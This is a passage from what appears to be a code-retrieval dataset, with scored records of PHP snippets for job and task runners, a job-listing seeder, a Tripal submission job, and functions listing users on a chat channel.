=> 'PROCESSING',\n ]);\n\n dispatch(new UniversalJob($trace, $filters, $type, $ext ?? 'xlsx'));\n\n return $trace;\n }", "title": "" }, { "docid": "a0abe5383e57e285ce4c8dda3c66cadf", "score": "0.5372592", "text": "protected function runProcess()\n {\n $process = RTA()->process();\n if ($process->get('preparing') == true) // prepare loop\n {\n $count = $process->prepare();\n $this->add_status('prepared', array('count' => $count));\n $this->jsonResponse($this->get_json_process());\n }\n\n if ($process->get('running') == true)\n {\n $items = $process->getItems();\n\n if ($items)\n {\n foreach($items as $item)\n {\n $item_id = $item->item_id;\n $image = new Image($item_id);\n $status = $image->regenerate();\n }\n }\n }\n\n\n if ($process->get('finished') == true)\n {\n if ($process->get('done') == 0) // if Q is finished with 0 done, it was empty.\n $this->add_status('no_images');\n\n $this->jsonResponse($this->get_json_process());\n }\n }", "title": "" }, { "docid": "7739f0751bd73ccb6eb949b9d9906bea", "score": "0.5366073", "text": "function begin_task($task,$user_running_task = \"\",$acted_upon = \"\",$custom_action_data = \"\") {\n \t\t// Custom actions?\n \t\t$custom_actions = $this->custom_actions($task,$user_running_task,$acted_upon,$custom_action_data,'1');\n \t\t// Custom point system\n \t\tif ($this->get_option('use_point_system') == '1') {\n\t \t\tglobal $manual;\n \t\t\t$check_points = $manual->check_point_reqs($task,$user_running_task,$acted_upon,$custom_action_data);\n \t\t}\n\t}", "title": "" }, { "docid": "b72d5b14d6afa17f080f93a02788f63a", "score": "0.53598857", "text": "public function actionRun()\r\n\t{\r\n\t\t\t\r\n\t\t$tasks = ComodObject::find()->where([\"<=\", 'next_run_time', date(\"Y-m-d H:i:s\")])->andWhere([\"is_active\" => 1])\r\n\t\t\t->andWhere([\"class\" => \"Cron\"])\r\n\t\t\t->all();\r\n\r\n\t\tforeach ($tasks as $task)\r\n\t\t{\r\n\t\t\t$connection = Yii::$app->getDb();\r\n\t\t\t$transaction = $connection->beginTransaction();\r\n\r\n\t\t\ttry\r\n\t\t\t{\r\n\t\t\t\tlist($object_id, $property_id) = explode(\":\", $task->linked_object);\r\n\r\n\t\t\t\t$obj = Objects::find()->where(['id' => $object_id])->one();\r\n\t\t\t\t$prop = Properties::find()->where(['id' => $property_id])->one();\r\n\r\n\t\t\t\tswitch ($task->type_action) {\r\n\t\t\t\t\tcase SchedulerJobTemplate::TASK_ACTION_CHANGE:\r\n\t\t\t\t\t\t//создавать таск!\r\n\t\t\t\t\t\t //$obj->setValueByPropertyId($task->property_id, $task->value_at_start);\r\n\t\t\t\t\t\t $t = new Tasks();\r\n\t\t\t\t $t->type = Tasks::TYPE_SET_OBJECT_VAL;\r\n\t\t\t\t $t->params = json_encode(['name' => $obj->title, 'property_name' => $prop->title, 'value' => $task->value_at_start]);\r\n\t\t\t\t $t->date_to_run = date('Y-m-d H:i:s', time());\r\n\t\t\t\t $t->groups = md5($obj->title . \"|\" . $prop->title);\r\n\t\t\t\t $t->save();\t\r\n\r\n\r\n\t\t\t\t\t\t $sj = new SchedulerJobs();\r\n\t\t\t\t $sj->scheduler_job_template_id = $task->__id; //$task->scheduler_job_template_id;\r\n\t\t\t\t $sj->task_start_id = $t->task_id;\r\n\r\n\t\t\t\t\t\t if ($task->work_time > 0)\r\n\t\t\t\t\t\t {\r\n\t\t\t\t\t\t\t $t = new Tasks();\r\n\t\t\t\t\t $t->type = Tasks::TYPE_SET_OBJECT_VAL;\r\n\t\t\t\t\t $t->params = json_encode(['name' => $obj->title, 'property_name' => $prop->title, 'value' => $task->value_at_end]);\r\n\t\t\t\t\t $t->date_to_run = date('Y-m-d H:i:s', time() + $task->work_time);\r\n\t\t\t\t\t $t->groups = md5($obj->title . \"|\" . $prop->title);\r\n\t\t\t\t\t $t->save();\r\n\t\t\t\t\t \t\r\n\t\t\t\t\t \t$sj->task_end_id = $t->task_id;\r\n\t\t\t\t \r\n\t\t\t\t\t }\r\n\t\t\t\t $sj->save();\r\n\r\n\t\t\t\t if (strtotime($task->start_at) === false)\r\n\t\t\t\t {\r\n\t\t\t\t \t$cron = \\Cron\\CronExpression::factory($task->start_at);\r\n\t\t\t\t \t$task->next_run_time = $cron->getNextRunDate()->format('Y-m-d H:i:s');\r\n\t\t\t\t \t$task->save();\r\n\t\t\t\t }\r\n\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase SchedulerJobTemplate::TASK_ACTION_REVERT:\r\n\t\t\t\t\t\t\r\n\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t# code... UNKNOWN TYPE!\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$transaction->commit();\r\n\t\t\t}\r\n\t\t\tcatch (\\Exception $e)\r\n\t\t\t{\r\n\t\t\t\tYii::error(\"task fail|id - \" . $task->id);\r\n\t\t\t\tYii::error($e->getMessage());\r\n\t\t\t\t$transaction->rollback(); \r\n\t\t\t}\r\n\t\t}\t\r\n\r\n\r\n\t\t// Works with predefined scheduling definitions\r\n \r\n //echo $cron->getPreviousRunDate()->format('Y-m-d H:i:s');\r\n\r\n /*\r\n $cron = \\Cron\\CronExpression::factory('3-59/15 2,6-12 15 1 2-5');\r\n echo $cron->getNextRunDate()->format('Y-m-d H:i:s');\r\n\r\n // Calculate a run date two iterations into the future\r\n $cron = \\Cron\\CronExpression::factory('@daily');\r\n echo $cron->getNextRunDate(null, 2)->format('Y-m-d H:i:s');\r\n\r\n // Calculate a run date relative to a specific time\r\n $cron = \\Cron\\CronExpression::factory('@monthly');\r\n echo $cron->getNextRunDate('2010-01-12 00:00:00')->format('Y-m-d H:i:s');\r\n */\r\n\t}", "title": "" }, { "docid": "d37b33350bfe05db076d5854b20a4302", "score": "0.5355523", "text": "public function run()\n {\n $job = new Job();\n $job->title = 'Storekeeper';\n $job->company = 'Al Shilrawi Enterprises';\n $job->location = 'Dubai';\n $job->country = 'U.A.E';\n $job->required_no = 10;\n $job->image = '';\n $job->salary = 'AED 1500 per month';\n $job->requirement = 'This position will require facilitating the physical and time consuming aspects of storekeeping that allows the Storekeeper space to facilitate proper administration.';\n $job->description = 'All candidates will have strong organization skills, ability to work effectively in a difficult environment and be flexible in demanding situations. You will have proficiency in English and good interpersonal and team working skills. Your commitment to the values including gender equity in all that we do is essential.';\n $job->slug = str_slug($job->title,'-');\n $job->status = 'published';\n $job->user_id = 1;\n $job->save();\n\n $job = new Job();\n $job->title = 'Sales';\n $job->company = 'AlShaya Enterprises';\n $job->location = 'Dubai';\n $job->country = 'U.A.E';\n $job->required_no = 10;\n $job->image = '';\n $job->salary = 'AED 1500 per month';\n $job->requirement = 'This position will require facilitating the physical and time consuming aspects of storekeeping that allows the Storekeeper space to facilitate proper administration.';\n $job->description = 'All candidates will have strong organization skills, ability to work effectively in a difficult environment and be flexible in demanding situations. You will have proficiency in English and good interpersonal and team working skills. Your commitment to the values including gender equity in all that we do is essential.';\n $job->slug = str_slug($job->title,'-');\n $job->status = 'published';\n $job->user_id = 1;\n $job->save();\n\n $job = new Job();\n $job->title = 'Cleaner';\n $job->company = 'Dolphon Facilites';\n $job->location = 'Doha';\n $job->country = 'Qatar';\n $job->required_no = 10;\n $job->image = '';\n $job->salary = 'AED 1500 per month';\n $job->requirement = 'This position will require facilitating the physical and time consuming aspects of storekeeping that allows the Storekeeper space to facilitate proper administration.';\n $job->description = 'All candidates will have strong organization skills, ability to work effectively in a difficult environment and be flexible in demanding situations. You will have proficiency in English and good interpersonal and team working skills. Your commitment to the values including gender equity in all that we do is essential.';\n $job->slug = str_slug($job->title,'-');\n $job->status = 'published';\n $job->user_id = 1;\n $job->save();\n }", "title": "" }, { "docid": "658fff13c89ce385112773773f246f89", "score": "0.53538644", "text": "public function execute() {\n mtrace('Task `translate_texts` starting...');\n\n if ($this->translate()) {\n $this->schedule_new_tupf_task();\n }\n\n mtrace('Task `translate_texts` finished.');\n }", "title": "" }, { "docid": "5ffd636d1e359b7d35e9cfa10712ac99", "score": "0.5345553", "text": "public function performAction()\n {\n $prefix = Utils::getPrefix();\n\n/* $tokenSemaphore = sem_get(20);\n $tokenValue = shm_attach(21, 100);\n if (!$this->try_lock($tokenSemaphore, $tokenValue)){\n echo \"[$prefix] OperationQueueAction: Semaphore Blocked\" . PHP_EOL;\n return;\n }\n*/\n echo \"[$prefix] OperationQueue: Action start\" . PHP_EOL;\n try {\n // Capture start time for log\n $starttimestamp = time();\n $queuedJobs = OperationQueue::find()->count();\n // Do the work\n for($i=0; $i<$queuedJobs; $i++){\n if (!$this->processNextJob()) {\n // No more jobs to process\n break;\n }\n $attempts = $this->successfulJobs + $this->failedJobs;\n if ($attempts >= $this->batchSize) {\n break;\n }\n }\n $this->logResults($starttimestamp, $queuedJobs);\n }\n catch (\\Exception $e) {\n echo \"Caught exception\".PHP_EOL;\n echo $e->getMessage() .PHP_EOL;\n echo $e->getFile() . PHP_EOL;\n echo $e->getLine() . PHP_EOL;\n $logger = new Appbuilder_logger(\"OperationQueueAction\");\n $logException = [\n 'problem' => 'Caught exception',\n ];\n $logger->appbuilderExceptionLog($logException, $e);\n }\n finally {\n// $this->release($tokenSemaphore, $tokenValue);\n }\n }", "title": "" }, { "docid": "2aa98a52658bb99c1d1bd1e653fcf832", "score": "0.533043", "text": "public function handle()\n {\n PenaltyJob::dispatch();\n \n }", "title": "" }, { "docid": "9b34c4ce2381341befb78ebc8f50ac89", "score": "0.5317691", "text": "public function createJob() {\n\t\t\n\t\t//is job valid?\n\t\tif ($this->validateJob()) {\n\t\t\n\t\t\t//compile job specs\n\t\t\t$job_specs =\n\t\t\t\tstrtoupper($this->job_info['data']['source']) . '!' .\n\t\t\t\t$this->job_info['data']['centre_lat'] . '!' .\n\t\t\t\t$this->job_info['data']['centre_lng'] . '!' .\n\t\t\t\t$this->job_info['data']['radius'] . '!' .\n\t\t\t\t$this->job_info['data']['filter'] . '!' .\n\t\t\t\t$this->job_info['data']['initiating_user_email'] . '!' .\n\t\t\t\t$this->job_info['data']['map_type'];\n\t\t\t\t\n\t\t\t//filter string for impurities\n\t\t\t$job_specs = $this->filter($job_specs);\n\t\t\t\n\t\t\t//generate job id\n\t\t\t$ip = str_replace('.', '', $this->getUserIP()); //get user IP and strip dots to get a number\n\t\t\t$job_id = sha1($job_specs . $ip);\n\t\t\t\n\t\t\t//stop duplicate jobs from being created\n\t\t\tif ($this->job_exists($job_id)) return 0;\n\t\t\t\n\t\t\t//append job id to job specs\n\t\t\t$job_specs = $job_id . '!' . $job_specs;\n\t\t\t\n\t\t\t//write job to file\n\t\t\t$this->writeTo($this->settings['jobs_file_directory'] . $this->settings['jobs_file_name'], $job_specs . \"\\n\");\n\t\t\t\n\t\t\t//create job directory structure\n\t\t\t$this->createJobDirStructure($job_id);\n\t\t\t\n\t\t\t//compile job specs array\n\t\t\t$job_specs_arr = array(\n\t\t\t\t'source' => strtoupper($this->job_info['data']['source']),\n\t\t\t\t'map_type' => $this->job_info['data']['map_type'],\n\t\t\t\t'centre_lat' => $this->job_info['data']['centre_lat'],\n\t\t\t\t'centre_lng' => $this->job_info['data']['centre_lng'],\n\t\t\t\t'radius' => $this->job_info['data']['radius'],\n\t\t\t\t'filter' => $this->job_info['data']['filter'],\n\t\t\t\t'initiating_user_email' => $this->job_info['data']['initiating_user_email'],\n\t\t\t\t'id' => $job_id\n\t\t\t);\n\t\t\t\n\t\t\t//return job specs array\n\t\t\treturn $job_specs_arr;\n\t\t\n\t\t}\n\t\t\n\t\treturn 0;\n\t\t\n\t}", "title": "" }, { "docid": "9d07f065134948097e865a584ced9d0c", "score": "0.53144836", "text": "private function processCommand () {\n\t\tif (in_array ($this->command_key, array_keys ($this->tasks))) {\n\t\t\ttry {\n\t\t\t\t$task = new $this->tasks[$this->command_key] ($this->command_string);\n\t\t\t} catch (Exception $e) {\n\t\t\t\t$response = array(\n\t\t\t\t\t'text' => $e->getMessage ()\n\t\t\t\t);\n\t\t\t\t$response = json_encode($response);\n\t\t\t\t\n\t\t\t\thttp_response_code(200);\n\t\t\t\theader('Content-Type: application/json');\n\t\t\t\theader('Status: 200 OK');\n\t\t\t\t\n\t\t\t\techo $respose;\n\t\t\t}\n\t\t} else {\n\t\t\thttp_response_code(400);\n\t\t\theader('Content-Type: text/html; charset=UTF-8');\n\t\t\theader('Status: 400 Bad Request');\n\t\t\techo 'Command \"'.$this->command_key.'\" does not exist.';\n\t\t}\n\t}", "title": "" }, { "docid": "691232426bd0c60df1192fab9f03bb53", "score": "0.53122246", "text": "public function execute()\n\t{\n\t\t// Set the default task\n\t\t$this->registerTask('__default', 'intro');\n\n\t\t// Register tasks\n\t\t$this->registerTask('suspend', 'changestate');\n\t\t$this->registerTask('reinstate', 'changestate');\n\t\t$this->registerTask('fixownership', 'changestate');\n\t\t$this->registerTask('delete', 'changestate');\n\n\t\tparent::execute();\n\t}", "title": "" }, { "docid": "e9afbd9db047add9d224585ab4caac50", "score": "0.53108394", "text": "function tpps_submit_all($accession, TripalJob $job = NULL) {\n global $tpps_job;\n $tpps_job = $job;\n // Get public path\n $log_path = drupal_realpath('public://') . '/tpps_job_logs/';\n\n mkdir($log_path);\n\n // Update the global $tpps_job_logger variable\n global $tpps_job_logger;\n $tpps_job_logger = [];\n $tpps_job_logger['job_object'] = $job;\n $tpps_job_logger['log_file_path'] = $log_path . $accession . '_' . $tpps_job_logger['job_object']->getJobID() . '.txt';\n $tpps_job_logger['log_file_handle'] = fopen($tpps_job_logger['log_file_path'], \"w+\");\n\n tpps_job_logger_write('[INFO] Setting up...');\n $job->logMessage('[INFO] Setting up...');\n $job->setInterval(1);\n $form_state = tpps_load_submission($accession);\n $form_state['status'] = 'Submission Job Running';\n tpps_update_submission($form_state, array('status' => 'Submission Job Running'));\n $transaction = db_transaction();\n\n \n\n try {\n\n tpps_job_logger_write('[INFO] Clearing Database...');\n $job->logMessage('[INFO] Clearing Database...');\n tpps_submission_clear_db($accession);\n tpps_job_logger_write('[INFO] Database Cleared');\n $job->logMessage('[INFO] Database Cleared.');\n $project_id = $form_state['ids']['project_id'] ?? NULL;\n\n $form_state = tpps_load_submission($accession);\n tpps_clean_state($form_state);\n tpps_submission_clear_default_tags($accession);\n $firstpage = $form_state['saved_values'][TPPS_PAGE_1];\n $form_state['file_rank'] = 0;\n $form_state['ids'] = array();\n\n tpps_job_logger_write('[INFO] Creating project record...');\n $job->logMessage('[INFO] Creating project record...');\n $form_state['title'] = $firstpage['publication']['title'];\n $form_state['abstract'] = $firstpage['publication']['abstract'];\n $project_record = array(\n 'name' => $firstpage['publication']['title'],\n 'description' => $firstpage['publication']['abstract'],\n );\n if (!empty($project_id)) {\n $project_record['project_id'] = $project_id;\n }\n $form_state['ids']['project_id'] = tpps_chado_insert_record('project', $project_record);\n tpps_job_logger_write(\"[INFO] Project record created. project_id: @pid\\n\", array('@pid' => $form_state['ids']['project_id']));\n $job->logMessage(\"[INFO] Project record created. project_id: @pid\\n\", array('@pid' => $form_state['ids']['project_id']));\n\n tpps_tripal_entity_publish('Project', array(\n $firstpage['publication']['title'],\n $form_state['ids']['project_id'],\n ));\n\n tpps_job_logger_write(\"[INFO] Submitting Publication/Species information...\");\n $job->logMessage(\"[INFO] Submitting Publication/Species information...\");\n tpps_submit_page_1($form_state, $job);\n tpps_job_logger_write(\"[INFO] Publication/Species information submitted!\\n\");\n $job->logMessage(\"[INFO] Publication/Species information submitted!\\n\");\n\n tpps_job_logger_write(\"[INFO] Submitting Study Details...\");\n $job->logMessage(\"[INFO] Submitting Study Details...\");\n tpps_submit_page_2($form_state, $job);\n tpps_job_logger_write(\"[INFO] Study Details sumbitted!\\n\");\n $job->logMessage(\"[INFO] Study Details sumbitted!\\n\");\n\n tpps_job_logger_write(\"[INFO] Submitting Accession information...\");\n $job->logMessage(\"[INFO] Submitting Accession information...\");\n tpps_submit_page_3($form_state, $job);\n tpps_job_logger_write(\"[INFO] Accession information submitted!\\n\");\n $job->logMessage(\"[INFO] Accession information submitted!\\n\");\n\n tpps_job_logger_write(\"[INFO] Submitting Raw data...\");\n $job->logMessage(\"[INFO] Submitting Raw data...\");\n tpps_submit_page_4($form_state, $job);\n tpps_job_logger_write(\"[INFO] Raw data submitted!\\n\");\n $job->logMessage(\"[INFO] Raw data submitted!\\n\");\n\n tpps_job_logger_write(\"[INFO] Submitting Summary information...\");\n $job->logMessage(\"[INFO] Submitting Summary information...\");\n tpps_submit_summary($form_state);\n tpps_job_logger_write(\"[INFO] Summary information submitted!\\n\");\n $job->logMessage(\"[INFO] Summary information submitted!\\n\");\n\n tpps_update_submission($form_state);\n\n tpps_job_logger_write(\"[INFO] Renaming files...\");\n $job->logMessage(\"[INFO] Renaming files...\");\n tpps_submission_rename_files($accession);\n tpps_job_logger_write(\"[INFO] Files renamed!\\n\");\n $job->logMessage(\"[INFO] Files renamed!\\n\");\n $form_state = tpps_load_submission($accession);\n $form_state['status'] = 'Approved';\n $form_state['loaded'] = time();\n tpps_job_logger_write(\"[INFO] Finishing up...\");\n $job->logMessage(\"[INFO] Finishing up...\");\n tpps_update_submission($form_state, array('status' => 'Approved'));\n tpps_job_logger_write(\"[INFO] Complete!\");\n $job->logMessage(\"[INFO] Complete!\");\n\n fclose($tpps_job_logger['log_file_handle']);\n\n }\n catch (Exception $e) {\n $transaction->rollback();\n $form_state = tpps_load_submission($accession);\n $form_state['status'] = 'Pending Approval';\n tpps_update_submission($form_state, array('status' => 'Pending Approval'));\n \n tpps_job_logger_write('[ERROR] Job failed');\n $job->logMessage('[ERROR] Job failed', array(), TRIPAL_ERROR);\n tpps_job_logger_write('[ERROR] Error message: @msg', array('@msg' => $e->getMessage()));\n $job->logMessage('[ERROR] Error message: @msg', array('@msg' => $e->getMessage()), TRIPAL_ERROR);\n tpps_job_logger_write(\"[ERROR] Trace: \\n@trace\", array('@trace' => $e->getTraceAsString()));\n $job->logMessage(\"[ERROR] Trace: \\n@trace\", array('@trace' => $e->getTraceAsString()), TRIPAL_ERROR);\n \n fclose($tpps_job_logger['log_file_handle']);\n watchdog_exception('tpps', $e);\n throw new Exception('Job failed.');\n }\n}", "title": "" }, { "docid": "2d63919c820629be28f05b69c82bbd23", "score": "0.5305959", "text": "public function run(callable $task);", "title": "" } ]
2aed49371d0018b655559decc27aee8e
Returns list of users present on a channel.
[ { "docid": "c05adfdf5e45bcd27e03bde528147cd7", "score": "0.8742538", "text": "public function getUsers(Channel $channel): array;", "title": "" } ]
[ { "docid": "80e81757208f845a5d00b1a51a8a47da", "score": "0.75495946", "text": "public function getPresenceUsers($channel)\n {\n try {\n return $this->client->getPresenceUsers(compact('channel'))->toArray();\n } catch (BadResponseException $exception) {\n $this->handleException($exception);\n }\n }", "title": "" }, { "docid": "ac8261ce653d47bbfdffee10ee47df57", "score": "0.7305955", "text": "function ircbot_get_channel_users() {\n\tglobal $users;\n\treturn $users;\n}", "title": "" }, { "docid": "2deb668d6c29107e49a1d69c6a2d6c25", "score": "0.70880795", "text": "public function getChannelUsers(string $channelName)\n {\n return $this->socketBus->getChannelUsers($channelName);\n }", "title": "" }, { "docid": "c8e7914b5cda78adf3097f974fc1ed15", "score": "0.7011878", "text": "public function getRenderedUsersList($channel, $displayCurrentUserWhenEmpty = true) {\n\t\t$hideRoles = $this->options->getOption('users_list_hide_roles', array());\n\t\t$channelUsers = $this->channelUsersDAO->getAllActiveByChannelId($channel->getId());\n\t\t$isCurrentUserPresent = false;\n\t\t$userId = $this->authentication->getUserIdOrNull();\n\n\t\t$usersList = array();\n\t\tforeach ($channelUsers as $channelUser) {\n\t\t\tif ($channelUser->getUser() == null) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t// do not render anonymous users:\n\t\t\tif ($this->service->isChatAllowedForWPUsersOnly() && !($channelUser->getUser()->getWordPressId() > 0)) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t// hide chosen roles:\n\t\t\tif (is_array($hideRoles) && count($hideRoles) > 0 && $channelUser->getUser()->getWordPressId() > 0) {\n\t\t\t\t$wpUser = $this->usersDAO->getWpUserByID($channelUser->getUser()->getWordPressId());\n\t\t\t\tif (is_array($wpUser->roles) && count(array_intersect($hideRoles, $wpUser->roles)) > 0) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// hide anonymous users:\n\t\t\tif ($this->options->isOptionEnabled('users_list_hide_anonymous', false) && !($channelUser->getUser()->getWordPressId() > 0)) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t$styles = '';\n\n\t\t\t// text color defined by role:\n\t\t\t$textColor = $this->getTextColorDefinedByUserRole($channelUser->getUser());\n\n\t\t\t// custom text color:\n\t\t\tif ($this->options->isOptionEnabled('allow_change_text_color', true)) {\n\t\t\t\t$textColorProposal = $channelUser->getUser()->getDataProperty('textColor');\n\t\t\t\tif (strlen($textColorProposal) > 0) {\n\t\t\t\t\t$textColor = $textColorProposal;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (strlen($textColor) > 0) {\n\t\t\t\t$styles = sprintf('style=\"color: %s\"', $textColor);\n\t\t\t}\n\n\t\t\t$currentUserClassName = '';\n\t\t\tif ($userId == $channelUser->getUserId()) {\n\t\t\t\t$isCurrentUserPresent = true;\n\t\t\t\t$currentUserClassName = 'wcCurrentUser';\n\t\t\t}\n\n $flag = '';\n if ($this->options->isOptionEnabled('collect_user_stats', true) && $this->options->isOptionEnabled('show_users_flags', false)) {\n $countryCode = $channelUser->getUser()->getDataProperty('countryCode');\n $country = $channelUser->getUser()->getDataProperty('country');\n if (strlen($countryCode) > 0) {\n $flagURL = $this->options->getFlagURL(strtolower($countryCode));\n $flag = \" <img src='{$flagURL}' class='wcUsersListFlag wcIcon' alt='{$countryCode}' title='{$country}'/>\";\n }\n }\n $cityAndCountry = '';\n if ($this->options->isOptionEnabled('collect_user_stats', true) && $this->options->isOptionEnabled('show_users_city_and_country', false)) {\n $cityAndCountryArray = array();\n $city = $channelUser->getUser()->getDataProperty('city');\n if (strlen($city) > 0) {\n $cityAndCountryArray[] = $city;\n }\n\n $countryCode = $channelUser->getUser()->getDataProperty('countryCode');\n if (strlen($countryCode) > 0) {\n $cityAndCountryArray[] = $countryCode;\n }\n\n if (count($cityAndCountryArray) > 0) {\n $cityAndCountry = ' <span class=\"wcUsersListCity\">'.implode(', ', $cityAndCountryArray).'</span>';\n }\n }\n\n\t\t\t$encodedName = htmlspecialchars($channelUser->getUser()->getName(), ENT_QUOTES, 'UTF-8');\n\t\t\tif ($this->options->isOptionEnabled('users_list_linking', false)) {\n\t\t\t\t$encodedName = $this->getRenderedUserNameInternal($encodedName, $channelUser->getUser()->getWordPressId(), $channelUser->getUser());\n\t\t\t}\n\n\t\t\t$usersList[] = sprintf(\n\t\t\t\t'<span class=\"wcUserInChannel %s\" %s>%s</span>', $currentUserClassName, $styles, $encodedName\n\t\t\t).$flag.$cityAndCountry;\n\t\t}\n\t\t\n\t\tif ($displayCurrentUserWhenEmpty && !$isCurrentUserPresent && $userId !== null) {\n\t\t\t$hidden = false;\n\t\t\tif (is_array($hideRoles) && count($hideRoles) > 0 && $this->authentication->getUser()->getWordPressId() > 0) {\n\t\t\t\t$wpUser = $this->usersDAO->getWpUserByID($this->authentication->getUser()->getWordPressId());\n\t\t\t\tif (is_array($wpUser->roles) && count(array_intersect($hideRoles, $wpUser->roles)) > 0) {\n\t\t\t\t\t$hidden = true;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (!$hidden && (!$this->options->isOptionEnabled('users_list_hide_anonymous', false) || $this->authentication->getUser()->getWordPressId() > 0)) {\n\t\t\t\tarray_unshift(\n\t\t\t\t\t$usersList, sprintf('<span class=\"wcUserInChannel wcCurrentUser\">%s</span>', $this->authentication->getUserNameOrEmptyString())\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn implode('<br />', $usersList);\n\t}", "title": "" }, { "docid": "139bced3eb2cddee4b47db045bf3d568", "score": "0.68873066", "text": "public function getUsers()\n\t{\n\t\treturn $this->chatUsers;\n\t}", "title": "" }, { "docid": "2e307bc1cf30347dcdf0383bfc80abee", "score": "0.6870652", "text": "private function listUsers()\n\t{\n\t\t$users = DB::table('users_comp')\n\n\t\t\t->join('companies', 'users_comp.id_company', '=', 'companies.id')\n\t\t\t->select('users_comp.*', 'companies.name')\n\t\t\t->where('users_comp.deleted_at', '=', null)\n\t\t\t->orderBy('created_at','desc')\n ->get();\n\t\t\t\n\t\treturn $users;\n\t}", "title": "" }, { "docid": "a78b4fcae504e28237f93948f21b5203", "score": "0.6796973", "text": "public function getUsers()\n\t{\n // Initialise variables.\n $app = JFactory::getApplication();\n \n JModelLegacy::addIncludePath(JPATH_ROOT.'/administrator/components/com_hwdmediashare/models');\n $this->model = JModelLegacy::getInstance('Users', 'hwdMediaShareModel', array('ignore_request' => true));\n $this->model->populateState();\n $this->model->setState('filter.channel', false);\n $this->model->setState('filter.search', $this->getState('filter.search'));\n $this->model->setState('list.ordering', 'u.registerDate');\n $this->model->setState('list.direction', 'ASC');\n \n return $this->model->getItems(); \n\t}", "title": "" }, { "docid": "47188f6d3d47bf8eeccac49a2b53acc5", "score": "0.67107224", "text": "private function listChannels()\n {\n $channels = Auth::guard()->user()->channels->load('users');\n foreach($channels as $channel){\n foreach($channel->users as $key => $user){\n if ($user->id == Auth::guard()->user()->id){\n unset($channel->users[$key]);\n }\n }\n }\n return $channels;\n }", "title": "" }, { "docid": "31c855637feb0cf0a9b6780e3a2e09e2", "score": "0.66589826", "text": "public function get_user_list() {\n global $CFG, $SITE;\n\n $courseid = $SITE->id;\n\n $context = context_course::instance($courseid);\n $limitfrom = empty($this->showusers) ? 0 : '';\n $limitnum = empty($this->showusers) ? COURSE_MAX_USERS_PER_DROPDOWN + 1 : '';\n // Function get_all_user_name_fields is missing from 2.4, so we need to do it manually.\n // Check if moodle is older then 2.7.x.\n if ((float)$CFG->version < 2014051200) {\n $alternatenames = array('firstname' => 'firstname',\n 'lastname' => 'lastname');\n // Create an sql field snippet if requested.\n foreach ($alternatenames as $key => $altname) {\n $alternatenames[$key] = 'u.' . $altname;\n }\n $alternatenames = implode(',', $alternatenames);\n\n $courseusers = get_enrolled_users($context, '', 0, 'u.id, ' . $alternatenames,\n null, $limitfrom, $limitnum);\n } else {\n $courseusers = get_enrolled_users($context, '', 0, 'u.id, ' . get_all_user_name_fields(true, 'u'),\n null, $limitfrom, $limitnum);\n }\n\n if (count($courseusers) < COURSE_MAX_USERS_PER_DROPDOWN && !$this->showusers) {\n $this->showusers = 1;\n }\n\n $users = array();\n if ($this->showusers) {\n if ($courseusers) {\n foreach ($courseusers as $courseuser) {\n $users[$courseuser->id] = fullname($courseuser, has_capability('moodle/site:viewfullnames', $context));\n }\n }\n $users[$CFG->siteguest] = get_string('guestuser');\n }\n return $users;\n }", "title": "" }, { "docid": "1d0a4d6b01d8aeb769f93b1c575caae9", "score": "0.6657566", "text": "public function getUserList() {\n return $this->users;\n }", "title": "" }, { "docid": "38d058bf77b316a2d1d484f54538f7b7", "score": "0.6651123", "text": "function get_users()\n\t{\n\n\t\trequire_once('modules/Users/User.php');\n\t\t\n\t\t$query = \"SELECT user_id as id FROM roles_users WHERE role_id='$this->id' AND deleted=0\";\n\t\t\n\t\treturn $this->build_related_list($query, new User());\n\t}", "title": "" }, { "docid": "49195e5f41eccbe3ff5f74211224576d", "score": "0.6618963", "text": "public function getAllUsers()\n {\n return $this->app->repositories->userRepository->getAllUsers();\n }", "title": "" }, { "docid": "0777e47bd436b0cbe96cab1a2b075976", "score": "0.6573807", "text": "protected function getUserList() {\n\t$controller = new ChatMySQLDAO();\n\tif(!isset($_SESSION['username'])) {\n\t return;\n\t}\n\t$users = $controller->getUserList($_SESSION['username']);\n\t$data = array();\n\t$i = 0;\n\tforeach ($users as $user) {\n\t $data[$i++] = $user['user_name'];\n\t}\n\treturn $data;\n }", "title": "" }, { "docid": "320ae277031deebb3937889d36aeaf54", "score": "0.6554433", "text": "function listUsers() {\n return $this->users;\n }", "title": "" }, { "docid": "478ca1c71cb4abc9c4b2f790397ceaff", "score": "0.6535152", "text": "public function getUserList()\n {\n return $this->userDao->getUserList();\n }", "title": "" }, { "docid": "5bf93a1bd443eb8208ebffbcfab2e091", "score": "0.6533073", "text": "public function get_users()\n {\n try {\n $return = $this->client->crmgetUsers($this->session_id);\n } catch (Exception $e) {\n log_error('crmgetUsers error : '. $e->getMessage());\n }\n\n return $return;\n }", "title": "" }, { "docid": "0a176052a08654dffc2bcd742747793d", "score": "0.6528469", "text": "public function getUsers()\n {\n return $this->users->getValues();\n }", "title": "" }, { "docid": "b53d4c98e18c1ac9ee7b86710813d8f2", "score": "0.6509279", "text": "private function get_authorized_users() {\n\t\t$authorized_users = get_option( 'livechat_authorized_users' );\n\t\tif ( ! $authorized_users ) {\n\t\t\treturn null;\n\t\t}\n\n\t\treturn array_values(\n\t\t\tarray_filter( explode( ',', $authorized_users ) )\n\t\t);\n\t}", "title": "" }, { "docid": "26ebba3063a116392299455145ae8839", "score": "0.6506116", "text": "public function getUserList() {\n return $this->userDao->getUserList();\n }", "title": "" }, { "docid": "69c8286a42cdc89772ad45d879a769ac", "score": "0.64738345", "text": "function getChatUsers()\n\t{\n\t\treturn $this->chatUsers;\n\t}", "title": "" }, { "docid": "6be9e6985b2ab80a3fdc92ba64cdfce5", "score": "0.64561826", "text": "public function getUserList()\n {\n $db = Database::getInstance();\n $db->query(\"SELECT id, username FROM oauth_users\");\n return $db->resultsToJson();\n\n }", "title": "" }, { "docid": "7c06283203606373a2166a195814ed13", "score": "0.6425757", "text": "private function getUsers()\n {\n $url = 